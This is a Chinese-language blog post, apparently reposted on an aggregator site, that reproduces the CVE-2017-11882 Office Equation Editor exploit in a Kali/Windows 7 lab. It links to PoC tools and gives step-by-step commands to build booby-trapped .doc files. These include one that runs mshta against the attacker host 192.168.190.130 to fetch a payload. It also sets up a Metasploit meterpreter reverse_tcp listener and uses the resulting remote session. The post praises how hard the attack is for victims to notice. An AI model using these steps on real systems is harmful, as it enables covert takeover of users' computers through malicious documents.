zoukankan      html  css  js  c++  java
  • [漏洞复现] CVE-2017-11882 通杀所有Office版本

    此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行。

    举个例子,如果黑客利用这个漏洞,构造带有shell后门的office文件,当普通用户打开这个office文件,则电脑可以被黑客直接控制。

    影响版本: 
    office 2003 
    office 2007 
    office 2010 
    office 2013 
    office 2016

    漏洞复现环境

    Kali2017 + windows 7 + office 2016

    渗透机:kali linux + POC代码

    靶机:Win 7 + Office 2016

    实验所需工具和代码

    链接: https://pan.baidu.com/s/1s9Br1e499ylB02urefEQKg 密码: fx6p

    在kali新建一个文件夹CVE-2017-11882,放进我们需要的poc代码

     生成word文档11882.doc,打开doc文件之后,会弹出计算器(以此验证offce漏洞)

    root@kali:~/桌面/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc

     生成word文档11882-2.doc,打开doc文件之后,会弹出任务管理器(以此验证offce漏洞)

    root@kali:~/桌面/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc

     再次查看,可以看到多了两个doc文件

     

     将文件拷贝到win7靶机上,并验证结果

    使用Word 2016打开第一个文件-11882.doc文件,查看效果:

    成功弹出计算器。

    使用Word 2016打开第二个文件-11882-2.doc文件,查看效果:

    成功弹出事务管理器。

    可以看到,由于Office2016存在CVE-2017-11882漏洞,当打开特殊构造的word文件时,windows会执行其他动作。

     在kali linux 上构造带有shell后门的word文件,并开启监听

    首先,为了后续更好的管理和使用渗透代码,可以将“shell.rb”,名称修改为“cve-2017-11886.rb”

     

     将CVE-2017-11882.rb拷贝到metasploit目录中,这里拷贝到目录/usr/share/metasploit-framework/modules/exploits/windows/smb

    root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
    root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/桌 面/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb

    好的,我们已经将这个CVE-2017-11882.rb复制过去了。

    进入Metasploit框架,

    root@kali:~# msfconsole 

    搜索CVE-2017-11882:

    msf > search CVE-2017-11882

    使用CVE-2017-11882.rb模块,开启Meterpreter监听会话: 

    使用模块
    msf > use exploit/windows/smb/CVE-2017-11882
    设置tcp反弹会话
    msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
    设置渗透机ip地址(这里通过ifconfig命令查看)
    msf exploit(CVE-2017-11882) > set lhost 192.168.190.130
    设置路径为11882,可自定义
    msf exploit(CVE-2017-11882) > set uripath 11882
    开启渗透,进入监听状态
    msf exploit(CVE-2017-11882) > exploit 

     使用CVE-2017-11882.py模块,生成带有shell的doc文件:

    root@kali:~/桌面/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://192.168.190.130:8080/11882" -o 11882-3.doc

    此时,CVE-2017-11882目录中增加了另外一个word文件11882-3,而此文件的功能便是:打开它的电脑会反弹shell会话到控制机。

     将文件11882-3.doc拷贝到靶机win7上面:

     

    在Win7打开11882-3.doc文件,此时观察Win7靶机和Kali Linux渗透机。

    注:做这个实验之前,首先要求渗透机Kali Linux和靶机Win7能够联通,例如在我的虚拟环境中,Kali Linux的ip地址是192.168.190.130,而Win7的地址是192.168.190.131,两个虚拟机采用NAT网卡模式。

     当靶机打开文件时,整个过程没有任何弹框,也没有其他异常动作,整个攻击效果非常“优雅”,肉鸡很难发现。

    此时,在另一段的kali linux渗透机,已经获取到shell会话。

    通过命令sessions查看meterpreter会话:

    msf exploit(CVE-2017-11882) > sessions

     此后便可以通过meterpreter来对会话进行管理:

    进入会话
    msf exploit(CVE-2017-11882) > sessions 1
    查看系统信息  
    meterpreter > sysinfo 
    查看当前用户  
    meterpreter > getuid  
    截屏  
    meterpreter > screenshot

     可以看到,安装了最新office 2016版本的win7,因为CVE-2017-1182漏洞,当打开带有shell后门的doc文件是,kali渗透机可以获取到完美的后门并控制win7

     实验操作根据拼客院长陈鑫杰的实验进行复现的https://zhuanlan.zhihu.com/p/35248996

  • 相关阅读:
    本周总结
    本周总结
    本周总结
    本周总结
    性能分析(4)
    大型网站高性能架构
    第二天大数据清洗
    性能分析(2)
    六大质量属性——性能分析(1)
    java设计模式9-代理模式
  • 原文地址:https://www.cnblogs.com/ESHLkangi/p/9146069.html
Copyright © 2011-2022 走看看